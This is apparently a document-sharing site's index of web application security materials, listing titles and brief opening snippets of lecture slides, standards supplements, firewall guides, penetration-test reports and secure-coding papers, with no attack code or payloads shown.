Hack Yourself First Troy Hunt @troyhunt troyhunt.com troyhunt@hotmail.com We re gonna turn you into lean, mean hacking machines! Because if we don t, these kids are going to hack you Jake Davies, 19 (and
CIS 551 / TCOM 401 Computer and Network Security. Spring 2007 Lecture 20
CIS 551 / TCOM 401 Computer and Network Security Spring 2007 Lecture 20 Announcements Reminder: Project 3 is available on the web pages Due: April 3rd Midterm II has been graded Today: Web Security [Some
National Information Security Group The Top Web Application Hack Attacks. Danny Allan Director, Security Research
National Information Security Group The Top Web Application Hack Attacks Danny Allan Director, Security Research 1 Agenda Web Application Security Background What are the Top 10 Web Application Attacks?
Web Application Security
Web Application Security John Zaharopoulos ITS - Security 10/9/2012 1 Web App Security Trends Web 2.0 Dynamic Webpages Growth of Ajax / Client side Javascript Hardening of OSes Secure by default Auto-patching
Advanced Security for Systems Engineering VO 01: Web Application Security
Advanced Security for Systems Engineering VO 01: Web Application Security Stefan Taber, Christian Schanes INSO Industrial Software Institute of Computer Aided Automation Faculty of Informatics TU Wien
Java Web Application Security
Java Web Application Security RJUG Nov 11, 2003 Durkee Consulting www.rd1.net 1 Ralph Durkee SANS Certified Mentor/Instructor SANS GIAC Network Security and Software Development Consulting Durkee Consulting
Web Application Security
E-SPIN PROFESSIONAL BOOK Vulnerability Management Web Application Security ALL THE PRACTICAL KNOW HOW AND HOW TO RELATED TO THE SUBJECT MATTERS. COMBATING THE WEB VULNERABILITY THREAT Editor s Summary
Playing with Web Application Firewalls
Playing with Web Application Firewalls Who is Wendel? Independent penetration test analyst. Affiliated to Hackaholic team. Over 7 years in the security industry. Discovered vulnerabilities in Webmails,
Top Ten Web Application Vulnerabilities in J2EE. Vincent Partington and Eelco Klaver Xebia
Top Ten Web Application Vulnerabilities in J2EE Vincent Partington and Eelco Klaver Xebia Introduction Open Web Application Security Project is an open project aimed at identifying and preventing causes
Web Security: SSL/TLS
CSE 484 / CSE M 584: Computer Security and Privacy Web Security: SSL/TLS Spring 2015 Franziska (Franzi) Roesner franzi@cs.washington.edu Thanks to Dan Boneh, Dieter Gollmann, Dan Halperin, Yoshi Kohno,
Security-Assessment.com White Paper Leveraging XSRF with Apache Web Server Compatibility with older browser feature and Java Applet
Security-Assessment.com White Paper Leveraging XSRF with Apache Web Server Compatibility with older browser feature and Java Applet Prepared by: Roberto Suggi Liverani Senior Security Consultant Security-Assessment.com
HTTP Response Splitting
The Attack HTTP Response Splitting is a protocol manipulation attack, similar to Parameter Tampering The attack is valid only for applications that use HTTP to exchange data Works just as well with HTTPS
How to break in. Tecniche avanzate di pen testing in ambito Web Application, Internal Network and Social Engineering
How to break in Tecniche avanzate di pen testing in ambito Web Application, Internal Network and Social Engineering Time Agenda Agenda Item 9:30 10:00 Introduction 10:00 10:45 Web Application Penetration
Nuclear Regulatory Commission Computer Security Office Computer Security Standard
Nuclear Regulatory Commission Computer Security Office Computer Security Standard Office Instruction: Office Instruction Title: CSO-STD-1108 Web Application Standard Revision Number: 1.0 Effective Date:
Application Layer Encryption: Protecting against Application Logic and Session Theft Attacks. Whitepaper
Application Layer Encryption: Protecting against Application Logic and Session Theft Attacks Whitepaper The security industry has extensively focused on protecting against malicious injection attacks like
How To Protect A Web Application From Attack From A Trusted Environment
Standard: Version: Date: Requirement: Author: PCI Data Security Standard (PCI DSS) 1.2 October 2008 6.6 PCI Security Standards Council Information Supplement: Application Reviews and Web Application Firewalls
Web Application Security Guidelines for Hosting Dynamic Websites on NIC Servers
Web Application Security Guidelines for Hosting Dynamic Websites on NIC Servers The Website can be developed under Windows or Linux Platform. Windows Development should be use: ASP, ASP.NET 1.1/ 2.0, and
HTTP. Internet Engineering. Fall 2015. Bahador Bakhshi CE & IT Department, Amirkabir University of Technology
HTTP Internet Engineering Fall 2015 Bahador Bakhshi CE & IT Department, Amirkabir University of Technology Questions Q1) How do web server and client browser talk to each other? Q1.1) What is the common
Information Supplement: Requirement 6.6 Code Reviews and Application Firewalls Clarified
Standard: Data Security Standard (DSS) Requirement: 6.6 Date: February 2008 Information Supplement: Requirement 6.6 Code Reviews and Application Firewalls Clarified Release date: 2008-04-15 General PCI
Ethical Hacking as a Professional Penetration Testing Technique
Ethical Hacking as a Professional Penetration Testing Technique Rochester ISSA Chapter Rochester OWASP Chapter - Durkee Consulting, Inc. info@rd1.net 2 Background Founder of Durkee Consulting since 1996
Web Application Hacking (Penetration Testing) 5-day Hands-On Course
Web Application Hacking (Penetration Testing) 5-day Hands-On Course Web Application Hacking (Penetration Testing) 5-day Hands-On Course Course Description Our web sites are under attack on a daily basis
Web Application Firewall on SonicWALL SSL VPN
Web Application Firewall on SonicWALL SSL VPN Document Scope This document describes how to configure and use the Web Application Firewall feature in SonicWALL SSL VPN 5.0. This document contains the following
EVALUATING COMMERCIAL WEB APPLICATION SECURITY. By Aaron Parke
EVALUATING COMMERCIAL WEB APPLICATION SECURITY By Aaron Parke Outline Project background What and why? Targeted sites Testing process Burp s findings Technical talk My findings and thoughts Questions Project
External Network & Web Application Assessment. For The XXX Group LLC October 2012
External Network & Web Application Assessment For The XXX Group LLC October 2012 This report is solely for the use of client personal. No part of it may be circulated, quoted, or reproduced for distribution
Web Security Threat Report: January April 2007. Ryan C. Barnett WASC Member Project Lead: Distributed Open Proxy Honeypots
Web Security Threat Report: January April 2007 Ryan C. Barnett WASC Member Project Lead: Distributed Open Proxy Honeypots What are we reporting? We are presenting real, live web attack data captured in-the-wild.
Adobe Systems Incorporated
Adobe Connect 9.2 Page 1 of 8 Adobe Systems Incorporated Adobe Connect 9.2 Hosted Solution June 20 th 2014 Adobe Connect 9.2 Page 2 of 8 Table of Contents Engagement Overview... 3 About Connect 9.2...
Ruby on Rails Secure Coding Recommendations
Introduction Altius IT s list of Ruby on Rails Secure Coding Recommendations is based upon security best practices. This list may not be complete and Altius IT recommends this list be augmented with additional
WEB APPLICATION SECURITY
WEB APPLICATION SECURITY February 2008 The Government of the Hong Kong Special Administrative Region The contents of this document remain the property of, and may not be reproduced in whole or in part
Hack Proof Your Webapps
Hack Proof Your Webapps About ERM About the speaker Web Application Security Expert Enterprise Risk Management, Inc. Background Web Development and System Administration Florida International University
Security features of ZK Framework
1 Security features of ZK Framework This document provides a brief overview of security concerns related to JavaScript powered enterprise web application in general and how ZK built-in features secures
SANS Institute 200 5, Author retains full rights.
Secure Session Management Preventing Security Voids in Web Applications Luke Murphey January 10, 2005 Abstract:, option 1 Internet users all over the world are using web-based systems to manage important
Protocolo HTTP. Web and HTTP. HTTP overview. HTTP overview
Web and HTTP Protocolo HTTP Web page consists of objects Object can be HTML file, JPEG image, Java applet, audio file, Web page consists of base HTML-file which includes several referenced objects Each
Security Code Review- Identifying Web Vulnerabilities
Security Code Review- Identifying Web Vulnerabilities Kiran Maraju, CISSP, CEH, ITIL, SCJP Email: Kiran_maraju@yahoo.com 1 1.1.1 Abstract Security Code Review- Identifying Web Vulnerabilities This paper
Secure Web Development Teaching Modules 1. Threat Assessment
Secure Web Development Teaching Modules 1 Threat Assessment Contents 1 Concepts... 1 1.1 Software Assurance Maturity Model... 1 1.2 Security practices for construction... 3 1.3 Web application security
Creating Stronger, Safer, Web Facing Code. JPL IT Security Mary Rivera June 17, 2011
Creating Stronger, Safer, Web Facing Code JPL IT Security Mary Rivera June 17, 2011 Agenda Evolving Threats Operating System Application User Generated Content JPL s Application Security Program Securing
Chapter 1 Web Application (In)security 1
Introduction xxiii Chapter 1 Web Application (In)security 1 The Evolution of Web Applications 2 Common Web Application Functions 4 Benefits of Web Applications 5 Web Application Security 6 "This Site Is
Web Application Firewall on SonicWALL SRA
Web Application Firewall on SonicWALL SRA Document Scope This document describes how to configure and use the Web Application Firewall feature in SonicWALL SRA 6.0. This document contains the following
Software Assurance Tools: Web Application Security Scanner Functional Specification Version 1.0
Special Publication 500-269 Software Assurance Tools: Web Application Security Scanner Functional Specification Version 1.0 Paul E. Black Elizabeth Fong Vadim Okun Romain Gaucher Software Diagnostics and
GET /FB/index.html HTTP/1.1 Host: lmi32.cnam.fr
GET /FB/index.html HTTP/1.1 Host: lmi32.cnam.fr HTTP/1.1 200 OK Date: Thu, 20 Oct 2005 14:42:54 GMT Server: Apache/2.0.50 (Linux/SUSE) Last-Modified: Thu, 20 Oct 2005 14:41:56 GMT ETag: "2d7b4-14b-8efd9500"
The purpose of this report is to educate our prospective clients about capabilities of Hackers Locked.
This sample report is published with prior consent of our client in view of the fact that the current release of this web application is three major releases ahead in its life cycle. Issues pointed out
Web Security Testing Cookbook*
Web Security Testing Cookbook* Systematic Techniques to Find Problems Fast Paco Hope and Ben Walther O'REILLY' Beijing Cambridge Farnham Koln Sebastopol Tokyo Table of Contents Foreword Preface xiii xv
Web Application Vulnerability Testing with Nessus
The OWASP Foundation http://www.owasp.org Web Application Vulnerability Testing with Nessus Rïk A. Jones, CISSP rikjones@computer.org Rïk A. Jones Web developer since 1995 (16+ years) Involved with information
BASELINE SECURITY TEST PLAN FOR EDUCATIONAL WEB AND MOBILE APPLICATIONS
BASELINE SECURITY TEST PLAN FOR EDUCATIONAL WEB AND MOBILE APPLICATIONS Published by Tony Porterfield Feb 1, 2015. Overview The intent of this test plan is to evaluate a baseline set of data security practices
Enterprise Application Security Workshop Series
Enterprise Application Security Workshop Series Phone 877-697-2434 fax 877-697-2434 www.thesagegrp.com Defending JAVA Applications (3 Days) In The Sage Group s Defending JAVA Applications workshop, participants
elearning for Secure Application Development
elearning for Secure Application Development Curriculum Application Security Awareness Series 1-2 Secure Software Development Series 2-8 Secure Architectures and Threat Modeling Series 9 Application Security
Outline Definition of Webserver HTTP Static is no fun Software SSL. Webserver. in a nutshell. Sebastian Hollizeck. June, the 4 th 2013
Definition of in a nutshell June, the 4 th 2013 Definition of Definition of Just another definition So what is it now? Example CGI php comparison log-file Definition of a formal definition Aisaprogramthat,usingthe
Common Security Vulnerabilities in Online Payment Systems
Common Security Vulnerabilities in Online Payment Systems Author- Hitesh Malviya(Information Security analyst) Qualifications: C!EH, EC!SA, MCITP, CCNA, MCP Current Position: CEO at HCF Infosec Limited
Table of Contents. Open-Xchange Authentication & Session Handling. 1.Introduction...3
Open-Xchange Authentication & Session Handling Table of Contents 1.Introduction...3 2.System overview/implementation...4 2.1.Overview... 4 2.1.1.Access to IMAP back end services...4 2.1.2.Basic Implementation
Barracuda Web Application Firewall vs. Intrusion Prevention Systems (IPS) Whitepaper
Barracuda Web Application Firewall vs. Intrusion Prevention Systems (IPS) Whitepaper Securing Web Applications As hackers moved from attacking the network to attacking the deployed applications, a category
Web Application Report
Web Application Report This report includes important security information about your Web Application. Security Report This report was created by IBM Rational AppScan 8.5.0.1 11/14/2012 8:52:13 AM 11/14/2012
Internet Technologies. World Wide Web (WWW) Proxy Server Network Address Translator (NAT)
Internet Technologies World Wide Web (WWW) Proxy Server Network Address Translator (NAT) What is WWW? System of interlinked Hypertext documents Text, Images, Videos, and other multimedia documents navigate